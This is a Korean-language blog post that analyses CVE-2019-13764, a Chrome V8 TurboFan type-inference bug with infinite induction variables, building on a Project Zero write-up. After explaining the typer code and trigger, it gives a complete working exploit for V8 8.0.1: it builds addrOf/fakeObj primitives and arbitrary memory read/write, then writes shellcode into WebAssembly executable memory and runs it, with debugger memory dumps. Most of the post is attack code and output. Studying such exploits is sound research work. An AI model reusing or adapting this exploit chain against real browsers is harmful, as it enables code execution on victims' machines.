본문 바로가기

카테고리 없음

CVE-2019-13764, Chrome Infinity bug

Project Zero(P0) 블로그 사이트에서 In-the-Wild Series: Chrome Infinity Bug 글을 읽어 봤다. in the wild에서 발견된 크롬 1day 익스플로잇을 분석한 글인데 브라우저 취약점을 학습하는 좋은 자료인 것 같다. 취약점과 익스플로잇, 변종 발견에 따른 패치 히스토리도 설명하고 있어 재미있게 읽어 본 것 같다. HABOOB 연구원도 같은 취약점을 익스플로잇한 글을 포스팅 했기에 취약점 이해부터 익스플로잇 까지 모두 진행해 볼 수 있었다.

Vulnerability Detail

V8 엔진에서 사용하는 integer(kInteger)는 우리가 흔히 알고 있는 32비트 데이터가 아닌 64비트로 표현되는(float, double) 데이터 타입이며 kInteger는 [-V8_INFINITY, V8_INFINITY]의 범위를 나타낸다.

Type const kInteger = CreateRange(-V8_INFINITY, V8_INFINITY);

kInteger는 아래와 같은 두 가지 특징을 가진다.

  1. kInteger에 Infinity와 -Infinity가 포함되지만 NaN과 -0는 포함되지 않는다.
  2. kInteger는 덧셈 연산에 닫혀 있지 않다. 즉, 두 개의 kInteger를 합한 결과가 kInterger가 아닐 수 있다.
    예를 들어 Infinity와 -Infinity를 합한 결과는 NaN이 되는데 이는 kInteger에 포함되지 않는다.

Induction Variable은 반복문을 진행하면서 일정한 값으로 증가 또는 감소하는 변수를 말한다. 아래 반복문에서 변수 i, j는 induction variable이다.

// for (var i = initial; i < bound; i += increment) { [...] }

for (i = 0; i < 10; ++i) {
    j = 17 * i;
}

Typer::Visitor::TypeInductionVariablePhi 함수는 반복문 최적화에 관여하며 반복문의 범위를 지정해주는 기능을 수행한다. 해당 함수의 소스코드 내용을 간략하게 요약하면 다음과 같다.

  • 초기값(initial_type), 증가값(increment_type)이 kInteger인 경우에만 코드를 진행한다.
  • 연산 유형(arithmetic_type)이 증가인지 또는 감소인지 확인하고 min, max 값을 설정한다.
Type Typer::Visitor::TypeInductionVariablePhi(Node* node) {
  [...]
  // [ 1 ]
  if (!initial_type.Is(typer_->cache_->kInteger) ||
      !increment_type.Is(typer_->cache_->kInteger)) {
    // Fallback to normal phi typing, but ensure monotonicity.
    // (Unfortunately, without baking in the previous type, monotonicity might
    // be violated because we might not yet have retyped the incrementing
    // operation even though the increment's type might been already reflected
    // in the induction variable phi.)
    Type type = NodeProperties::IsTyped(node) ? NodeProperties::GetType(node)
                                              : Type::None();
    for (int i = 0; i < arity; ++i) {
      type = Type::Union(type, Operand(node, i), zone());
    }
    return type;
  }
  [...]
  if (arithmetic_type == InductionVariable::ArithmeticType::kAddition) {
    increment_min = increment_type.Min();
    increment_max = increment_type.Max();
  } else {
    DCHECK_EQ(InductionVariable::ArithmeticType::kSubtraction, arithmetic_type);
    increment_min = -increment_type.Max();
    increment_max = -increment_type.Min();
  }

  // [ 2 ]
  if (increment_min >= 0) {
    // increasing sequence
    min = initial_type.Min();
    for (auto bound : induction_var->upper_bounds()) {
      Type bound_type = TypeOrNone(bound.bound);
      // If the type is not an integer, just skip the bound.
      if (!bound_type.Is(typer_->cache_->kInteger)) continue;
      // If the type is not inhabited, then we can take the initial value.
      if (bound_type.IsNone()) {
        max = initial_type.Max();
        break;
      }
      double bound_max = bound_type.Max();
      if (bound.kind == InductionVariable::kStrict) {
        bound_max -= 1;
      }
      max = std::min(max, bound_max + increment_max);
    }
    // The upper bound must be at least the initial value's upper bound.
    max = std::max(max, initial_type.Max());
  } else if (increment_max <= 0) {
    [...]
  } else {
    // Shortcut: If the increment can be both positive and negative,
    // the variable can go arbitrarily far, so just return integer.
    return typer_->cache_->kInteger;
  }
  [...]
  // [ 3 ]
  return Type::Range(min, max, typer_->zone());
}

아래와 같은 for 반복문을 최적화 할 때 Typer::Visitor::TypeInductionVariablePhi 함수는 induction variable인 변수 i의 범위를 (-Infinity, +Infinity)라고 계산한다. 하지만 첫 번째 루프가 실행되고 나면 i는 NaN이다.

for (var i = -Infinity; i < 0; i += Infinity) { 
  // some code
}

익스플로잇에 사용된 취약점 트리거 코드는 아래와 같다.

    var increment = 100;
    var k = 0;

    if (argument > 2) {
        increment = Infinity;
    }

    for (var i = -Infinity; i <= -Infinity; i += increment) {
        if (k++ > 10) {
            break;
        }
    }

익스플로잇은 아래와 같이 멋진 트릭을 사용해서 변수 i의 타입을 range에서 single number로 도출했다. TurboFan이 추정하는 값(inferred)을 표현하는 데이터 타입을 double → int64_t → int32_t 으로 끌어가는 과정을 볼 수 있다.

[...]
  // The comments display the current value of the variable i, the type
  // inferred by the compiler, and the machine type used to store
  // the value at each step.
  // Initially:
  // actual = NaN, inferred = (-Infinity, +Infinity)
  // representation = double

  i = Math.max(i, 0x100000800);
  // After step one:
  // actual = NaN, inferred = [0x100000800; +Infinity)
  // representation = double

  i = Math.min(0x100000801, i);
  // After step two:
  // actual = -0x8000000000000000, inferred = [0x100000800, 0x100000801]
  // representation = int64_t

  i -= 0x1000007fa;
  // After step three:
  // actual = -2042, inferred = [6, 7]
  // representation = int32_t

  i >>= 1;
  // After step four:
  // actual = -1021, inferred = 3
  // representation = int32_t

  i += 10;
  // After step five:
  // actual = -1011, inferred = 13
  // representation = int32_t
[...]

이렇게 얻은 비정상적인 음수 i 값을 사용해 배열을 생성하고 out-of-bound read/write를 통해 임의 명령어 실행까지 끌어가는 전형적인 익스플로잇 과정을 진행한다. 아래 코드의 경우 array[n]을 통해 array_float, array_object 배열에 접근 할 수 있다.

[...]
var array = new Array(i);
array[0] = 1.1;

var array_float = [1.1, 1.2, 1.3, 1.4];

var array_object = [{
    "A": 1
  }];

return [array, array_float, i, array_object];

array[n] 접근으로 array_float, array_object 배열에 접근 할 수 있다. 이들 배열의 map 정보를 서로 교체하는 방식으로 addrOf, fakeObj 함수를 구현 할 수 있다.

/*
pwndbg> x/40gx 0x0000148f320c86a1-1 // backing store of array_corrupted(arary)
0x148f320c86a0:    0x00001d86e9c411c1    0x0000000d00000000
0x148f320c86b0:    0x3ff199999999999a    0xfff7fffffff7ffff  // 0x3ff199999999999a == array_corrupted[0]
0x148f320c86c0:    0xfff7fffffff7ffff    0xfff7fffffff7ffff
0x148f320c86d0:    0xfff7fffffff7ffff    0xfff7fffffff7ffff
0x148f320c86e0:    0xfff7fffffff7ffff    0xfff7fffffff7ffff
0x148f320c86f0:    0xfff7fffffff7ffff    0xfff7fffffff7ffff
0x148f320c8700:    0xfff7fffffff7ffff    0xfff7fffffff7ffff
0x148f320c8710:    0xfff7fffffff7ffff    0x00000e8a26143051
0x148f320c8720:    0x00001d86e9c40c09    0x0000148f320c86a1
0x148f320c8730:    0xfffffc0d00000000    0x00001d86e9c411c1
0x148f320c8740:    0x0000000400000000    0x3ff199999999999a
0x148f320c8750:    0x3ff3333333333333    0x3ff4cccccccccccd
0x148f320c8760:    0x3ff6666666666666    0x00000e8a26143001  // 0x00000e8a26143001 == array_corrupted[23]
                                                             // map of array_float
0x148f320c8770:    0x00001d86e9c40c09    0x0000148f320c8739
0x148f320c8780:    0x0000000400000000    0x00000e8a2614aa31
0x148f320c8790:    0x00001d86e9c40c09    0x00001d86e9c40c09
0x148f320c87a0:    0x0000000100000000    0x00001d86e9c40799
0x148f320c87b0:    0x0000000100000000    0x0000148f320c8789
0x148f320c87c0:    0x00000e8a261430a1    0x00001d86e9c40c09  // 0x00000e8a261430a1 == array_corrupted[34]
                                                             // map of array_object
0x148f320c87d0:    0x0000148f320c87a9    0x0000000100000000
pwndbg>
*/

function addrOf(obj) {
    var array_trigger = trigger();
    var array_corrupted = array_trigger[0];
    var array_float = array_trigger[1];
    var length_corrtuped = array_trigger[2];
    var array_object = array_trigger[3];

  // accessing item of array_corrupted, we can access array_object and array_float array.
    var map_array_object = array_corrupted[34];
    var map_array_float = array_corrupted[23];

    array_object[0] = obj;
    array_corrupted[34] = map_array_float;
    let leak = array_object[0];
    array_corrupted[34] = map_array_object;

    return leak.toBigInt();
}

function fakeObj(addr) {
    var array_trigger = trigger();
    var array_corrupted = array_trigger[0];
    var array_float = array_trigger[1];
    var length_corrtuped = array_trigger[2];
    var array_object = array_trigger[3];

  // accessing item of array_corrupted, we can access array_object and array_float array.
    var map_array_object = array_corrupted[34];
    var map_array_float = array_corrupted[23];

    array_float[0] = addr.toNumber();
    array_corrupted[23] = map_array_object;
    var fake = array_float[0];
    array_corrupted[23] = map_array_float;

    return fake;
}

Exploitation

addrOf, fakeObj 함수 구현까지 마쳤으니 이제 WebAssembly를 활용한 전형적인 익스플로잇 루틴을 따르면 된다. 나의 경우 지난 번 oob-v8 포스팅에서 사용했던 ArrayBuffer 2개를 활용하는 방식으로 진행했다.

테스트는 Ubuntu 22.04, V8 8.0.1 버전에서 진행했다.

let floatView = new Float64Array(1);
let uint64View = new BigUint64Array(floatView.buffer);

// Convert Double to BigInt
Number.prototype.toBigInt = function toBigInt() {
    floatView[0] = this;
    return uint64View[0];
};

// Insert Int to memory as type of Double
BigInt.prototype.toNumber = function toNumber() {
    uint64View[0] = this;
    return floatView[0];
};

var array_trigger;
var array_corrupted;
var array_float;
var length_corrtuped;
var array_object;

function trigger(argument) {
    var increment = 100;
    var k = 0;

    if (argument > 2) {
        increment = Infinity;
    }

    for (var i = -Infinity; i <= -Infinity; i += increment) {
        if (k++ > 10) {
            break;
        }
    }

    // The comments display the current value of the variable i, the type
    // inferred by the compiler, and the machine type used to store
    // the value at each step.
    // Initially:
    // actual = NaN, inferred = (-Infinity, +Infinity)
    // representation = double

    i = Math.max(i, 0x100000800);
    // After step one:
    // actual = NaN, inferred = [0x100000800; +Infinity)
    // representation = double
    i = Math.min(0x100000801, i);
    // After step two:
    // actual = -0x8000000000000000, inferred = [0x100000800, 0x100000801]
    // representation = int64_t
    i -= 0x1000007fa;
    // After step three:
    // actual = -2042, inferred = [6, 7]
    // representation = int32_t
    i >>= 1;
    // After step four:
    // actual = -1021, inferred = 3
    // representation = int32_t
    i += 10;
    // After step five:
    // actual = -1011, inferred = 13
    // representation = int32_t

    var array = new Array(i);
    array[0] = 1.1;

    var array_float = [1.1, 1.2, 1.3, 1.4];

    var array_object = [{
        "A": 1
    }];

    return [array, array_float, i, array_object];
}


function addrOf(obj) {
    var array_trigger = trigger(3);
    var array_corrupted = array_trigger[0];
    var array_float = array_trigger[1];
    var length_corrtuped = array_trigger[2];
    var array_object = array_trigger[3];

    // debug
    // print('for debug');
    // print('###### array_corrupted');
    // %DebugPrint(array_corrupted);
    // print('###### array_float');
    // %DebugPrint(array_float);
    // print('###### array_object');
    // %DebugPrint(array_object);
    // while(1) {}

    // accessing item of array_corrupted, we can access array_object and array_float array.
    var map_array_object = array_corrupted[34];
    var map_array_float = array_corrupted[23];

    array_object[0] = obj;
    array_corrupted[34] = map_array_float;
    let leak = array_object[0];
    array_corrupted[34] = map_array_object;

    return leak.toBigInt();
}

function fakeObj(addr) {
    var array_trigger = trigger(3);
    var array_corrupted = array_trigger[0];
    var array_float = array_trigger[1];
    var length_corrtuped = array_trigger[2];
    var array_object = array_trigger[3];

    // accessing item of array_corrupted, we can access array_object and array_float array.
    var map_array_object = array_corrupted[34];
    var map_array_float = array_corrupted[23];

    array_float[0] = addr.toNumber();
    array_corrupted[23] = map_array_object;
    var fake = array_float[0];
    array_corrupted[23] = map_array_float;

    return fake;
}

print("triggering vulnerability");
//while (trigger()[2] != -1011); // loop until trigger the bug
while(1) {
    array_trigger = trigger(3);
    array_corrupted = array_trigger[0];
    array_float = array_trigger[1];
    length_corrupted = array_trigger[2];
    array_object = array_trigger[3];

    if (length_corrupted == -1011) {
        print('done. break');
        break;
    }
}

print("prepare two of ArrayBuffer")
let array_buf1 = new ArrayBuffer(1024);
let array_buf2 = new ArrayBuffer(1024);
let array_buf1_addr = addrOf(array_buf1);
let array_buf2_addr = addrOf(array_buf2);
//%DebugPrint(array_buf1);
//%DebugPrint(array_buf2);
print(`array_buf1 @ 0x${array_buf1_addr.toString(16)}`);
print(`array_buf2 @ 0x${array_buf2_addr.toString(16)}`);

//var array_craft = [array_corrupted[23], 1.2, 1.3, 1.4];
var array_craft = [array_corrupted[23], 0x0000000200000000n.toNumber(), 1, 0xffffffff];
var array_craft_addr = addrOf(array_craft);
print(`array_craft @ 0x${array_craft_addr.toString(16)}`)

var fake_object = fakeObj(array_craft_addr - 0x20n);
var fake_object_addr = addrOf(fake_object);
print(`fake_object @ 0x${fake_object_addr.toString(16)}`)

// with array_craft, we can change fake_object's backing store to array_buf1
print(`set fake_object's backing store to array_buf1`)
array_craft[2] = array_buf1_addr.toNumber();

// with fake_object, we can change array_buf1's backing store to array_buf2
print(`set array_buf1's backing store to array_buf2`);
// note: ArrayBuffer's backing store pointer has raw pointer address. Not tagged pointer.
fake_object[2] = (array_buf2_addr - 0x1n).toNumber();

// with array_buf1, "view[4] = addr" will change array_buf2's backing store
let view1 = new BigUint64Array(array_buf1);

print(`construct read/write primitive`);
let memory = {
    write(addr, bytes) {
        view1[4] = addr;
        let view2 = new Uint8Array(array_buf2);
        view2.set(bytes);
    },
    read64(addr) {
        view1[4] = addr;
        let view2 = new BigUint64Array(array_buf2);
        return view2[0];
    },
    write64(addr, ptr) {
        view1[4] = addr;
        let view2 = new BigUint64Array(array_buf2);
        view2[0] = ptr;
    }
};

// prepare WebAssembly
var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var func = wasm_instance.exports.main;

// leak wasm_instance address and Jump Table Start pointer
let wasm_instance_addr = addrOf(wasm_instance);
print(`wasm_instance @ 0x${wasm_instance_addr.toString(16)}`);

let wasm_rwx_addr = memory.read64(wasm_instance_addr -0x1n + 0x80n);
print(`wasm_rwx @ 0x${wasm_rwx_addr.toString(16)}`);

print("writing shellcode");
let shellcode = new Uint8Array([72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5]);
memory.write(wasm_rwx_addr, shellcode);

print("popping calc");
func();


/*
gdb --args ./x64.release/d8 --allow-natives-syntax my.js

Triggering vulnerability
done. break
Prepare two of ArrayBuffer
for debug
###### array_corrupted
0x148f320c8719 <JSArray[4294966285]>
###### array_float
0x148f320c8769 <JSArray[4]>
###### array_object
0x148f320c87c1 <JSArray[1]>
^C
Thread 1 "d8" received signal SIGINT, Interrupt.
...

pwndbg> x/20gx 0x148f320c8719-1      // array_corrupted
0x148f320c8718:    0x00000e8a26143051    0x00001d86e9c40c09
0x148f320c8728:    0x0000148f320c86a1    0xfffffc0d00000000
0x148f320c8738:    0x00001d86e9c411c1    0x0000000400000000
0x148f320c8748:    0x3ff199999999999a    0x3ff3333333333333
0x148f320c8758:    0x3ff4cccccccccccd    0x3ff6666666666666
0x148f320c8768:    0x00000e8a26143001    0x00001d86e9c40c09
0x148f320c8778:    0x0000148f320c8739    0x0000000400000000
0x148f320c8788:    0x00000e8a2614aa31    0x00001d86e9c40c09
0x148f320c8798:    0x00001d86e9c40c09    0x0000000100000000
0x148f320c87a8:    0x00001d86e9c40799    0x0000000100000000
pwndbg>

pwndbg> x/40gx 0x0000148f320c86a1-1 // backing store of array_corrupted
0x148f320c86a0:    0x00001d86e9c411c1    0x0000000d00000000
0x148f320c86b0:    0x3ff199999999999a    0xfff7fffffff7ffff  // 0x3ff199999999999a == array_corrupted[0]
0x148f320c86c0:    0xfff7fffffff7ffff    0xfff7fffffff7ffff
0x148f320c86d0:    0xfff7fffffff7ffff    0xfff7fffffff7ffff
0x148f320c86e0:    0xfff7fffffff7ffff    0xfff7fffffff7ffff
0x148f320c86f0:    0xfff7fffffff7ffff    0xfff7fffffff7ffff
0x148f320c8700:    0xfff7fffffff7ffff    0xfff7fffffff7ffff
0x148f320c8710:    0xfff7fffffff7ffff    0x00000e8a26143051
0x148f320c8720:    0x00001d86e9c40c09    0x0000148f320c86a1
0x148f320c8730:    0xfffffc0d00000000    0x00001d86e9c411c1
0x148f320c8740:    0x0000000400000000    0x3ff199999999999a
0x148f320c8750:    0x3ff3333333333333    0x3ff4cccccccccccd
0x148f320c8760:    0x3ff6666666666666    0x00000e8a26143001  // 0x00000e8a26143001 == array_corrupted[23]
                                                        // map of array_float
0x148f320c8770:    0x00001d86e9c40c09    0x0000148f320c8739
0x148f320c8780:    0x0000000400000000    0x00000e8a2614aa31
0x148f320c8790:    0x00001d86e9c40c09    0x00001d86e9c40c09
0x148f320c87a0:    0x0000000100000000    0x00001d86e9c40799
0x148f320c87b0:    0x0000000100000000    0x0000148f320c8789
0x148f320c87c0:    0x00000e8a261430a1    0x00001d86e9c40c09  // 0x00000e8a261430a1 == array_corrupted[34]
                                                        // map of array_object
0x148f320c87d0:    0x0000148f320c87a9    0x0000000100000000
pwndbg>


pwndbg> x/20gx 0x148f320c8769-1
0x148f320c8768:    0x00000e8a26143001    0x00001d86e9c40c09
0x148f320c8778:    0x0000148f320c8739    0x0000000400000000
0x148f320c8788:    0x00000e8a2614aa31    0x00001d86e9c40c09
0x148f320c8798:    0x00001d86e9c40c09    0x0000000100000000
0x148f320c87a8:    0x00001d86e9c40799    0x0000000100000000
0x148f320c87b8:    0x0000148f320c8789    0x00000e8a261430a1
0x148f320c87c8:    0x00001d86e9c40c09    0x0000148f320c87a9
0x148f320c87d8:    0x0000000100000000    0x00001d86e9c40799
0x148f320c87e8:    0x0000000400000000    0x0000148f320c8719
0x148f320c87f8:    0x0000148f320c8769    0xfffffc0d00000000

pwndbg> x/20gx 0x148f320c87c1-1
0x148f320c87c0:    0x00000e8a261430a1    0x00001d86e9c40c09
0x148f320c87d0:    0x0000148f320c87a9    0x0000000100000000
0x148f320c87e0:    0x00001d86e9c40799    0x0000000400000000
0x148f320c87f0:    0x0000148f320c8719    0x0000148f320c8769
0x148f320c8800:    0xfffffc0d00000000    0x0000148f320c87c1
0x148f320c8810:    0x00000e8a261430a1    0x00001d86e9c40c09
0x148f320c8820:    0x0000148f320c87e1    0x0000000400000000
0x148f320c8830:    0xfff7fffffff7ffff    0x00001d86e9c411c1
0x148f320c8840:    0x0000000400000000    0x3ff199999999999a
0x148f320c8850:    0x3ff3333333333333    0x3ff4cccccccccccd
pwndbg>

*/